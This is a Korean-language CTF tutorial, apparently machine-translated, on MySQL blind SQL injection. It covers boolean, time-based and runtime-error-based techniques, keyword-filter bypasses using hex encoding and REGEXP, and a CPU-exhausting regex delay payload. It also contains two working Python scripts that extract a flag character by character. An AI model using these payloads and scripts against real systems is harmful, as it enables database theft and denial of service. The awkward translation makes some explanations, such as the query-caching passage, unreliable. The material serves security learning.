머리말
Blind SQL (blind injection)은 SQL injection ***의 한 유형입니다. SQL 인젝션 과정에서 SQL 문이 실행 된 후 프론트 엔드 페이지에 데이터가 에코되지 않으며, 이때 판단하거나 시도하기위한 몇 가지 방법이 필요합니다.이 과정을 블라인드 인젝션이라고합니다.
이 기사에는 MySQL 블라인드 주입 ( MySQL 주입 의 세 가지 블라인드 주입 방법 (부울 기반 블라인드 주입, 시간 기반 블라인드 주입 및 오류 기반 블라인드 주입)이 설명되어 있습니다.이 실험을 연구함으로써 여러분은 블라인드 주입의 원리를 이해할 수 있습니다.)
SQL 블라인드 주입에 대한 기본 지식
일반적으로 사용되는 기본 기능
- IF (expr1, expr2, expr3)
만약 expr1
사실, 반환 expr2
, false를 반환expr3
SELECT IF(TRUE, 'A','B') -- 输出结果:A
SELECT IF(FALSE,'A','B') -- 输出结果:B
- ASCII (str)
문자열 str
에서 가장 왼쪽 문자의 ASCII 값을 반환합니다.
SELECT ASCII("flag") -- 输出结果:102
- ORD (str)
문자열 str
의 첫 문자에 대한 ASCII 값을 반환합니다.
SELECT ORD("flag") -- 输出结果:102
- CHAR (정수)
ASCII 코드 값 int
을 문자로 변환
SELECT CHAR(65) -- 输出结果:A
- MID (str, pos, len)
pos
위치 에서 시작 str
하여 총 len
문자 길이 가 있는 문자열을 가로 챕니다.
SELECT MID("Hello World", 3, 5) -- 输出结果:llo W
SUBSTR (str, pos, len)과 동일
- LEFT (str, len)
문자열의 str
왼쪽 부분 len
에서 총 문자를 반환 합니다.
SELECT LEFT("flag", 2) -- 输出结果:fl
- SLEEP (기간)
duration
수면 시간 (초) 또는 소수
SELECT SLEEP(3)
# [SQL] SELECT SLEEP(3)
# 受影响的行: 0
# 时间: 3.005ms
- REGEXP
정규식, 텍스트를 일치시키는 데 사용되는 특수 문자열 (문자 집합)
SELECT "FLAG" REGEXP "LA" -- 输出结果:1
SELECT "FLAG" REGEXP "[0-9]" -- 输出结果:0
- 다른
LENGTH(str) -- 返回字符串str的长度
DATABASE() -- 返回当前数据库名
VERSION() -- 返回当前MySQL版本
부울 블라인드
주입 지점의 입력에 따라 페이지는 True와 False의 두 가지 유형의 페이지 만 반환합니다. 페이지를 사용하여 다른 것을 반환하고 데이터를 하나씩 추측하십시오.
SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 输出结果:1
SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 输出结果:2
이를 기반으로 데이터베이스 이름의 길이는4
타임 블라인드
실행 시간의 길이, 즉 시간 지연 주입으로 실행 성공 여부를 판단합니다.
SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒后才响应
SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即响应
이를 기반으로 데이터베이스 이름의 첫 번째 문자는c
다음 두 가지 질문 : 플래그 테이블의 플래그 필드에있는 플래그
대상 머신을 로컬에서 빌드하고, post를 사용하여 매개 변수를 전송하고, 변수를 keywords
수신 합니다.
런타임 오류에 기반한 부울 블라인드 주입
작동 오류를 기반으로하는 부울 블라인드 삽입은 SQL 문의 문법 및 의미 분석을 통과 할 수 있지만 작동 중에 오류를보고합니다.
IF (expr1, expr2, expr3)로 사용할 수 있습니다 expr3
. expr1
true이면 expr2
페이지가 반환 되고 페이지가 정상이고 false이면 실행 expr3
됩니다. 이때 페이지는 정상적으로 표시되지 않습니다. 실행 오류로 인해.
ST_GeomFromText (character-string [, srid])는 문자열 표현을 기반으로 지오메트리를 구성하는 방법입니다. 즉,
SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 )
-- 输出结果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40]
ST_X (point) :이 방법은 점의 x 좌표를 구하는 것이며, 작동하는 객체는 점입니다.
SELECT ST_X(POINT(2,3)) -- 输出结果:2
그러나 작업 객체가 포인트가 아닌 경우 작업은 오류를보고하지만 SQL 검사를 통과 할 수 있으므로 true와 false의 두 가지 경우에 서로 다른 페이지를 구성하는 데 사용할 수 있습니다.
SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 输出结果:1
SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
추신
ST_GeomFromText 및 ST_MPointFromText는 텍스트에서 공간 함수를 구문 분석 할 수있는 두 가지 함수입니다.
ST_GeomFromText는 POINT () 함수용이고 ST_MPointFromText는 MULTIPOINT () 함수용입니다.
사용 가능한 기타 기능 :
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);
주제가 필터링 된 ST
경우 GeomFromText()
sum 사용을 시도 할 수 X()
있지만 MySQL은 버전 5.7.6 이후에 더 이상 사용되지 않습니다.
이름 | 기술 |
---|---|
X() (사용되지 않는 5.7.6) |
Point의 X 좌표 반환 |
GeomFromText() (사용되지 않는 5.7.6) |
WKT에서 형상 반환 |
1, 2, 3과 같은 숫자를 입력하면 페이지가Hello World
필터링 된 키워드를 입력하면 페이지가No Hacker
여기에서 필터링 된 키워드 중 일부를 테스트 할 수 있습니다.
'
、"
、or
、-
、*
、>
、<
、=
、like
、sleep
、substr
、mid
、ascii
、ord
그러나 금지되지 않으면 웹 페이지는 한 가지 유형의 페이지 만 반환 할 수 있으며 일반적인 디지털 블라인드 주입은 수행 할 수 없습니다.
그리고 마찬가지로 if(0,1e9999,1)
sql 문을 확인할 수 없기 때문에 페이지를 정상적으로 표시 할 수 없습니다 if(1,1e9999,1)
.
이때 런타임 오류를 기반으로 부울 블라인드 어노테이션을 사용하는 것을 고려할 수 있습니다. 구문 및 의미론은 SQL 검사를 통과 할 수 있지만 명령문이 실행되면 잘못 실행되므로 참 및 거짓 케이스를 모두 구성 할 수 있습니다.
if를 사용한 블라인드 주입 '
은 필터링되고 16 진수로 우회됩니다.
if(1,1,ST_X(ST_GeomFromText('POINT(mads)'))
> if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))
이 때 페이지가 돌아옵니다 Hello World
. 제목은 플래그 플래그 테이블의 플래그 필드에, 왼쪽 () 심판에 대한 첫 번째 문자를 차단하는 데 사용되는 것을 말한다 =
및 like
사용할 수 있습니다 regexp
대신.
페이로드 구성 :
if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
이때 페이지는 여전히을 반환 Hello World
합니다. 플래그의 첫 번째 문자가 char (102)임을 알 수 있습니다.f
if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
두 번째 문자는 char (108)입니다.l
파이썬으로 스크립트 작성
import requests
def fun(string):
result = ""
j = 1
for i in string:
if j != len(string):
result = result + str(ord(i)) + ","
else:
result = result + str(ord(i))
j += 1
return "char(" + result + ")"
url = "http://sqlblind.com/index.php"
tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"
flag = ""
for i in range(1, 50):
for j in tables:
if j == "{" or j == "}":
j = "\\" + j
payload = "if(left((select flag from flag),%s) regexp %s,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))" % (
i, fun(flag+j))
r = requests.post(url=url, data={'keywords': payload})
if "Hello World" in r.text:
flag = flag + j
print(flag.replace("\\", ""))
break
엄청난 컴퓨팅 시간을 기반으로 한 타임 블라인드 주입
때문에 여기 필터링 ST
, ST
기능은 금지됩니다 시작하여 사용할 수 없습니다.
동시에 필터링 sleep
되므로 시간 수면에 의해 시간이 지연 될 수 없으며 수면은 타임 블라인드 주입에 사용할 수 없습니다.
그러나 우리는 sql 문을 통해 긴 연산 시간을 가진 문을 시간 지연으로 실행할 수 있습니다. 즉, 플래그의 특성을 판단하려면 if를 사용하고, 맞으면 긴 연산이 필요한 문을 실행합니다. 시간, 그렇지 않으면 0을 반환합니다.
따라서 나중에 파이썬으로 스크립트를 작성할 때 타임 아웃 기간을 설정하고, 설정된 시간 내에 콘텐츠가 반환되지 않으면 문자가 정확하므로 타임 블라인드 주입을 수행 할 수 있습니다.
그 전에 몇 가지 기능을 이해하십시오.
- rpad (str, len, padstr)
str
오른쪽에 문자열 을 padstr
채우고 문자 str
길이에 패딩을 사용합니다.len
SELECT RPAD('hi', 5, '?') -- 输出结果:hi???
- concat (str1, str2, ...)
여러 문자열을 하나의 문자열로 연결
SELECT CONCAT('he', 'll', 'o') -- 输出结果:hello
- 반복 (str, count)
str
반복 된 문자열 count
뒤 의 문자열 을 반환합니다.
SELECT REPEAT('ab', '3') -- 输出结果:ababab
페이로드 구성 :
1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0)
즉, 플래그의 첫 문자가 f
이면 다음 문이 실행됩니다.
rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')
rpad('a',5000000,'a')
5,000,000으로 채워져 a
매우 긴 문자열로 구성되며 문자열은 concat(repeat('(a.*)+',30),'b')
일반 일치에 사용되며 엄청난 양의 계산으로 지연이 지연됩니다.
이렇게하면 서버가 충돌 할 수 있습니다.
제목이 필터링 '
되었으므로 대신 16 진수를 사용 하세요.
1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)
다음 두 그림은 매개 변수를 통과하여 시간 지연 효과를 테스트하는 데 사용됩니다.
깃발의 첫 번째 문자를 추측 할 때 :
첫 번째 문자가 추측 0x01
되면 0을 반환하면 거짓입니다.
그래서 우리는 많은 계산 시간을 통해 시간을 지연시키고 타임 블라인드 주입을 할 수 있습니다.
그러나 서버 프로세스는 클라이언트가 보낸 SQL 문을 수신 할 때 데이터베이스를 직접 쿼리하지 않습니다. 서버 프로세스는이 SQL 문의 문자를 ASCII에 해당하는 디지털 코드로 변환 한 다음 ASCII 코드를 HASH 함수에 전달하고 해시 값을 반환 한 다음 서버 프로세스는 공유 풀의 라이브러리 캐시로 이동합니다. . 동일한 해시 값을 찾습니다. 존재하는 경우 서버 프로세스는 SHARED POOL의 라이브러리 캐시에 캐시 된 명령문의 분석 된 버전을 사용하여 실행하므로 후속 분석 작업 (소프트 분석)이 필요하지 않습니다.
따라서 여러 쿼리 rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')
후 지연이 없으므로 rpad ()에 대한 5000000
필요성 이 매번 1 씩 감소합니다.
스크립트는 Gqleung ( http://www.plasf.cn ) 에서 가져 왔습니다 .
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i))
r = r.replace('0x', '')
result = result+r
return '0x'+result
url = "http://sqlblind.com/index.php"
tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"
result = ""
for i in range(1, 50):
for j in tables:
if j == "{" or j == "}":
j = '\\'+j
payload = "1 and if((select flag from flag) regexp binary %s,rpad(0x61,%d,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)" % (
ord2hex("^"+result+j), 5000000-i)
try:
r = requests.post(url=url, data={'keywords': payload}, timeout=3)
except Exception as e:
result = result+j
print(result.replace('\\', ''))
시간 초과 : 시간 초과 시간을 초 단위로 설정합니다. 설정된 시간 내에 콘텐츠가 반환되지 않으면 시간 초과 예외가 반환됩니다.
3 초 이내에 내용이 반환되지 않으면 시간 초과 예외가 반환됩니다. 즉, 문자가 정확하고 인쇄됩니다.